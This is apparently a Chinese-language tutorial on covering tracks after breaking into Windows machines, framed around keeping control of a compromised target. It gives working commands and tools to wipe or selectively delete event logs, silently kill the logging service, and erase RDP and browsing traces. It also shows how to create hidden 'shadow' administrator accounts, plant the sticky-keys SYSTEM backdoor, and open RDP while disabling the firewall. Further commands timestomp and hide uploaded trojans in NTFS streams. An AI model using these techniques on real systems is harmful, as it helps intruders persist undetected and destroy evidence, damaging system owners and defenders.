Windows痕迹清除技术
系统入侵后要对操作痕迹进行清除,如果上传工具和木马文件要做隐藏和伪装,以免引起警觉甚至丢失目标,“清道夫”的工作虽有些烦杂,但这些工作直接影响到目标控守的持久性。
The quieter you become, the more you are able to hear.
一、痕迹清除
(一) 日志文件
1.主机日志
类型 | 默认路径 |
---|---|
系统日志 | C:\Windows\System32\Winevt\Logs\System.evtx |
安全日志 | C:\Windows\System32\Winevt\Logs\Security.evtx |
应用日志 | C:\Windows\System32\Winevt\Logs\Application.evtx |
(1) 全部清除
不留下任何痕迹,但是特征也很明显,容易被察觉,一般不推荐使用。
方法一:事件查看器删除
通过eventvwr
打开事件查看器,在右边的操作一栏中,选择Clear Log...
方法二:powershell命令删除
- cmd环境:
1 | PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}" |
- powershell环境:
1 | Clear-Eventlog -Log Application,System,Security |
(2) 定向清除
① 停止日志服务
方法一:工具实现
为避免清除的动作被日志记录,首先要停止日志记录,借助第三方工具实现,原理是定位并杀掉日志服务相关的线程,而其对应的svchost.exe进程并没有被杀掉,所以日志记录服务看起来是正常运行的。
项目地址:https://github.com/hlldz/Phant0m
工具老版本是用powershell写的,执行命令powershell -File Invoke-Phant0m
,如果提示脚本文件无法执行,则可能是由于执行策略限制,通过命令修改执行策略即可(管理员权限):
1 | # 查看当前ps脚本的执行策略 |
新版本需要自己编译生成可执行文件,原理在于定位并杀死日志服务运行线程,工具提供了两种定位日志服务线程的方法,在编译时要注意选择下。注意待日志清除后要恢复日志服务,命令是net start evevtlog
。
方法二:手动实现
首先利用powershell命令找出日志记录服务(eventlog)对应的进程PID,Get-WmiObject
或Get-CimInstance
命令都可以:
1 | Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" |
运行结果中可以看出eventlog服务对应的PID为840,然后利用Sysinternal套件中的工具procexp.exe(Process Explorer)找出PID=840的进程:
选择该scvhost.exe,点选右键->属性->线程
,找出服务为eventlog的线程TID,如下图所示为876、884、1424、1428、1432,依次选择Kill这些线程,注意Suspend是不行的:
这样日志服务实际上就关闭了,但由于只是杀掉了其进程下运行的线程,而进程仍然存在,所以服务看起来是没有异样的,这和方法一中用工具实现的原理是相同的。
需要恢复日志记录服务时,在进程列表界面选择该scvhost.exe,点选右键->重新启动
,然后运行命令net start eventlog
就可以了。
② 删除日志
一般在做敏感操作时,先关闭入侵系统的日志服务,然后就可以做羞羞的事了,但如果是为了清除单条日志,则需要借助第三方工具实现。以下这个工具可以实现停止日志服务、根据EventRecordID
删除单条日志记录等功能。
项目地址:https://github.com/QAX-A-Team/EventCleaner
使用方法:
1 | EventCleaner suspend # 暂停日志进程,停止日志记录 |
2.应用日志
删改WIndows安装的应用程序的日志相对简单些,因为定位其路径后就可以手动进行删改,思路都是相同的,都是先找到应用程序的日志路径,停止其相应服务,然后对日志内容进行删改。
这里以最常见的WEB应用为例,日志类型及其默认路径和服务如下:(注意不同版本的应用日志默认存放路径可能不同)
日志类型 | 默认路径 | 相应服务 |
---|---|---|
IIS | C:\inetpub\logs\LogFiles\W3SVC1\ | World Wide Publishing Service |
Apache | C:\Apache 2.4\logs | Apache2.4 |
Tomcat | C:\Tomcat 8.5\logs | Apache Tomcat 8.5 Tomcat8 |
停止服务的命令一般用net stop
即可,如net stop "World Wide Publishing Service"
,删除命令用Shift + Delete
或cmd命令del
。
(二) 搜索&连接
获取shell后一般要谨慎行事,但是不排除特殊情况下要远程桌面连接上去做一些敏感操作,一旦留下痕迹切记要做好清理。
1.远程桌面记录
(1) 删除缓存
缓存文件默认为C:\Users\Administrator\Documents\Default.rdp
,已隐藏,可到用户的Document目录下,文件夹选项选择隐藏文件可见,然后删除,也可以用cmd命令删除,注意这样删除的是全部的连接记录:
1 | cd C:\Users\Administrator\Documents\ |
(2) 删除注册表
对应注册表项为HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\
和HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\
,可以用regedit
打开注册表编辑器,找到这两个键,在右边定向删除对应的值,也可以用cmd命令将其全部清除:
1 | reg delete "HKCU\Software\Microsoft\Terminal Server Client\Default" /f |
注意:reg delete
默认是将该注册表项和其所有值以及子项全部都删除,如果只将该注册表项下的所有值都删除,不删除该注册表项和其子项,要用reg delete /va
。
2.文件搜索记录
对应注册表项为HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery
,打开注册表编辑器,找到该键并删除对应的值。
3.文件浏览记录
对应注册表项为HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
,打开注册表编辑器,找到该键并删除对应的值。
4.最近访问位置
win7在我的电脑或资源管理器中,在最近访问位置右键->删除最近项目列表
;win10在我的电脑或资源管理器中,选择查看->选项->常规
中,将隐私一栏的“快速访问”两个选项去掉,并选择清除历史记录,界面如下:
5.运行命令记录
对应注册表项为HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
,打开注册表编辑器,找到该键并删除对应的值。
(三) 浏览器记录
如果必须用浏览器访问,尽量使用有隐私模式的浏览器,开启隐私模式可以避免在本地计算机留下历史记录、缓存文件和Cookies。
注意不同浏览器版本日志存放路径可能不同,以下例举的日志默认存放路径并不绝对。
1.IE
(1) 存放位置
在工具->Internet 选项->常规->浏览历史记录->设置
中的当前位置记录了缓存文件存放路径
日志类型 | 默认路径 |
---|---|
浏览记录 | C:\Users\Administrator\AppData\Local\Microsoft\Windows\History\ |
缓存文件 | C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\ |
Cookies | C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Cookies\ |
(2) 删除方法
- 方法一:在浏览器搜索下拉栏中,直接选择删除相应的历史记录
- 方法二:在
工具->Internet 选项->常规->浏览历史记录
中,选择删除所有浏览历史记录、缓存文件、Cookies
2.Chrome
(1) 存放位置
在浏览器搜索栏中输入chrome://version/
,可以看到个人资料路径
日志类型 | 默认路径 |
---|---|
浏览记录 | C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\history |
缓存文件 | C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cache\ |
Cookies | C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cookies |
(2) 删除方法
- 方法一:在浏览器搜索栏中输入
chrome://history/
,选择删除单条浏览记录 - 方法二:在
设置->隐私设置和安全性
中,或在搜索栏输入chrome://history/
后选择清除浏览数据,选择删除特定时间范围的浏览历史记录、缓存文件、Cookies
3.Firefox
(1) 存放位置
在浏览器搜索栏中输入about:cache
,可以看到缓存文件的磁盘存储路径
日志类型 | 默认路径 |
---|---|
浏览记录 | C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\70rs4c5d.default-release\places.sqlite |
缓存文件 | C:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\70rs4c5d.default-release\cache2\ |
Cookies | C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\afn7ww6q.default-release\cookies.sqlite |
(2) 删除方法
- 方法一:在
Library->History->Recent History
栏中右键删除特定的浏览记录 - 方法二:在
Library->History->Clear Recent History
,或在Options->Privacy & Security
中选择Clear History
,删除指定时间范围的历史记录
(四) 隐藏用户
低级新建隐藏用户的方式是在新建用户名结尾加上$
,这样虽然net user
命令查看不到,但是以下三种方式都可以看到新建的用户:
- powershell命令:
powershell -c Get-LocalUser
- 在计算机管理中 (cmd命令:
compmgmt
) 选择 “本地用户和组—>用户”,或者通过cmd命令lusrmgr
直接打开 - 控制面板 (cmd命令:
control
) 中选择“用户帐户—>用户帐户—>管理其他帐户”
而且在计算机登录界面也会显示新建的用户名,这样新建用户很容易被发现。
推荐使用新建 影子用户 的方式隐藏用户,这样只能通过注册表查看,其它方式无法查看隐藏用户信息。
方法:
(将新建用户admin$作为Administrator的影子用户,Administrator已激活)
1.新建用户
1 | net user admin$ asdfasdf /add |
2.导出注册表
打开注册表,右键HKEY_LOCAL_MACHINE\SAM\SAM
,当前用户 (组) 权限选择完全控制,然后重新打开注册表,再次选择HKEY_LOCAL_MACHINE\SAM\SAM
就可以看见HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
中的内容,如下所示:
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
显示了系统当前存在的所有账户,选中admin$,在其右侧可见对应键值为”0x3ee”,此键值为用户SID的结尾,即RID。同理找到Administrator右侧对应键值为”0x1f4”,相应地将 00003EE、00001F4、admin$ 三个注册表项右键导出为reg格式文件:3ee.reg、1f4.reg、admin.reg
3.F键值替换
编辑 3ee.reg 和 1f4.reg,将 3ee.reg 中的F键值替换成 1f4.reg 中的F键值,F键值中存放了用户的登录信息,替换后也就是将Administrator用户的登录信息复制给了admin$,这样在操作系统内部就把admin$当做是Administrator,admin$也就成了Administrator的影子账户。
4.导入注册表
删除用户,然后将刚刚导出的 3ee.reg 和 admin.reg 重新导入:
1 | net user admin$ /del |
影子账户建立完成,两者使用同一个用户配置文件,RDP登录admin$用户,桌面环境、浏览器配置等数据和Administrator同步一致,需谨慎操作。
不同环境下影子用户登录时现象不同,假设A为原用户,A$为A的影子用户,如果当前主机没有用户登录,则A$登录后quser显示就是A$在线;如果A已经登录 (Active或Disc),A$登录时情况要复杂些,分析如下:
- 主机只允许每个用户1个session在线情况下 (缺省值):无论单用户还是多用户环境,A$登录时A直接掉线至锁屏,A不会有任何提示 (单用户环境下,当有用户在线,其他用户在远程登录时登录界面会提示:“如果继续,当前在线用户会断开”,选择继续后,当前在线的用户会出现提示:“其他用户正在连接,是否允许并断开当前的连接”,只有当选择允许或者超过30s才会建立连接),quser显示只有A在线,这与A登录新创建1个session的现象是相同的。
- 主机允许每个用户多个session在线情况下:单用户环境下,无论A是否在线,A$登录都会接管A的桌面,quser显示仅有A在线;多用户环境下,当A用户在线 (Active),A$登录时不会将A挤掉,此时会重新初始化一个桌面环境,但是A和A$实际上用的是同一个桌面环境,一些软件如浏览器A打开后A$无法再次打开,quser显示A和A$同时在线,当A用户离线 (Disc),影子用户在登录时会接管A的桌面,quser显示只有A在线。
方法二
此时影子用户已经完成。可以通过打开3389端口来远程连接,用影子用户的账号密码进行登陆。
查看端口开放情况:
cmd→netstat -ano
开放3389端口的方法1:
1 | echo Windows Registry Editor Version 5.00>3389.reg |
将以上内容拷贝到文本文档内,将后缀名改为.bat格式,双击运行,即可开启3389端口。
开启端口方法2:
在cmd内,执行如下命令,即可开启3389端口。
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
在cmd内,执行如下命令,即可关闭3389端口。
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f |
开放完3389端口后,需要先明确被连接的主机的ip地址。可以通过cmd→ipconfig查看ipv4的内网地址,后连接即可。
连接后发现,可以通过原先创建的影子用户来访问该计算机,且获得了最高权限。账户 haha$ 密码123(看个人的设置)
3389连接windows的实践:
1.在目标系统开放3389端口
2.查看ip地址
3.进行远程桌面连接 即可连接成功
PS:针对最新的windows操作系统 需要注意 win10的安全策略很多,需要多重开放连接才行。 受限制于系统版本 有时候系统本身也不支持远程连接
通常支持的系统 只需要开放3389端口以及相关服务 同时支持远程连接 即可成功连接!
连接条件:
1.计算机本身支持远程桌面 同时这个要允许远程桌面
2.win+R -> services.msc -> 桌面服务 remote desktop services 把相关的RPG服务打开 (cmd下的注册表命令同理)
3.知道目标的ip地址
新建用户 提权到管理员 关闭防火墙
1 | net user zj 123 /add |
(大招)shift漏洞(后门) 直接在登录界面按五下shift键即可召唤出system权限的cmd
把代码放到bat文件中 传上去以后执行就行
1 | takeown /f c:\windows\system32\sethc.* /a /r /d y |
远程服务(3389)启动(3条命令打下去绝对成功)
win+r = mstsc
扫描的时候:13389
1 | C:\Windows\System32\wbem\wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 |
如果是特殊端口 目标ip:13389 xxxx:13389
常用命令格式:
1 | net user admin$ Wifi.123 /add |
二、文件伪装
(一) 伪装&隐藏
1.修改时间
上传工具或木马文件后,为掩人耳目,要将其修改为和当前目录中文件相近的时间,可以利用powershell进行修改。
例如将刚上传的test.exe工具创建时间修改为2020年12月12日12:12:12
,方法如下:
方法一:利用对象属性修改
查看文件的创建时间、修改时间、上次访问时间:
1 | (ls "C:\temp\test.exe").CreationTIme |
dir
命令以及文件夹目录中显示的时间都是文件的修改时间LastWriteTime
。
修改文件的创建时间、修改时间、上次访问时间:
1 | (ls "C:\temp\test.exe").CreationTIme = "2020年12月12日12:12:12" |
方法二:利用cmdlet命令修改
查看文件属性信息,包括文件的创建时间、修改时间、上次访问时间:
1 | Get-ItemProperty -Path "C:\temp\test.exe" | Format-list -Property * |
修改文件的创建时间、修改时间、上次访问时间:
1 | Set-ItemProperty -Path "C:\temp\test.exe" -Name CreationTIme -Value "2011-11-11 11:11:11" |
2.文件隐藏
方法一:attrib命令
上传后利用attrib
命令改变文件属性,命令格式:attrib [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [/D]]
- + 增加属性
- - 减少属性
- R 只读文件属性
- A 存档文件属性
- S 系统文件属性
- H 隐藏文件属性
- /S 处理当前文件夹及其子文件夹中的匹配文件
- /D 也处理文件夹
例如在C:\temp目录上传工具test.exe,将其目录及其文件隐藏命令:attrib +r +a +s +h C:\temp\test.exe & attrib +r +a +s +h C:\temp
,如果要将其删除,先要将其恢复然后再删除:attrib -r -a -s -h C:\temp & rmdir C:\temp /s /q
利用attrib
隐藏后的文件,在文件浏览器中选择隐藏项目可见或是用普通的dir
命令,都是不可见的,如果要查看可以用命令:dir /a
方法二:ADS隐写
首先要了解MAC文件系统 (HFS) 和Windows文件系统 (NTFS) 储存文件数据的方式:
- MAC文件系统将文件数据存储在数据和资源两个部分,数据部分存储文件内容,资源部分用于告诉操作系统如何使用文件数据
- Windows文件系统将文件数据全部存储在文件中,用文件扩展名 (.bat .exe .txt 等) 告诉操作系统如何使用文件数据
ADS (Alternate Data Streams) 是Windows文件系统NTFS的特性之一,目的是兼容MAC文件系统,原本用意是通过ADS兼容MAC文件系统中文件存储的资源部分,但可以利用此特性将文件隐藏在文件、目录甚至盘符的ADS中。
ADS隐藏文件可以起到很好效果,但如果想要利用ADS运行可执行文件,情况要复杂些,因为在Windows 7之后系统对ADS运行可执行文件作了限制,具体系统需要验证方法可行性。
目前在我的实验环境下将可执行文件隐藏到其他文件的ADS,测试了几种运行方法:只有runas
命令在所有Windows版本是可行的,但是必须要交互输入用户密码,其他命令方式在不同版本系统表现不同,要先验证才行,实验中将工具test.exe上传至主机C:\temp目录,将其利用ADS隐藏,不同方法具体使用情况如下:
① 将其隐藏在用户桌面test.txt文件的ADS中,ADS命名为1.exe
1 | # 隐藏ADS |
② 将其隐藏在C:\Windows目录的ADS中,ADS命名为2.exe
1 | # 隐藏ADS |
③ 将其隐藏在C:\盘符的ADS中,ADS命名为3.exe
1 | type C:\temp\test.exe > C:3.exe |
利用ADS技术隐藏后的文件,在文件浏览器中选择隐藏项目可见或是用普通的dir
命令,或是查看文件内容和大小,都是不可发现的,如果要查看可以用命令:dir /r
,如果要将文件ADS删除,需要将文件转换为FAT、FAT32等其他文件系统格式,或是借助第三方工具如:SysinternalsSuite工具包中的 Streams
,使用方法如下:
1 | # 查看文件/目录ADS |
(二) 文件擦除
对于敏感文件和工具,不能用常规的删除命令,因为常规删除的文件会进入回收站,易留下痕迹,而且在磁盘空间未覆盖情况下可以用数据恢复软件恢复,以下这些命令更加安全高效:
1.命令行Del/Erase删除
永久删除文件,不会经过回收站,但是没有覆盖,用数据恢复软件仍有恢复可能。
2.Shift+Delete永久删除
永久删除文件,不会经过回收站,但是没有覆盖,用数据恢复软件仍有恢复可能。
3.Cipher擦除覆写
cipher /W:directory
:从整个卷上可用的磁盘空间中覆写数据,从而覆盖已删除文件的硬盘空间,这样之前删除的数据顶多能够恢复文件名,但是恢复数据几乎是不可能的。
例如刚删除工具C:\temp\test.exe,然后执行cipher /W:C
,这样C盘上的空余空间就会被覆写三轮,分别是0x00、0xFF、随机数,覆写需要一段时间,这取决于C盘空余空间的大小。
4.Format格式化覆写
format volume /P:count
:将volume卷上每个扇区清零,此后该卷将被改写count次,且每次使用不同的随机数。
例如format D: /P:10
表示把D盘用随机数格式化后再覆写10次。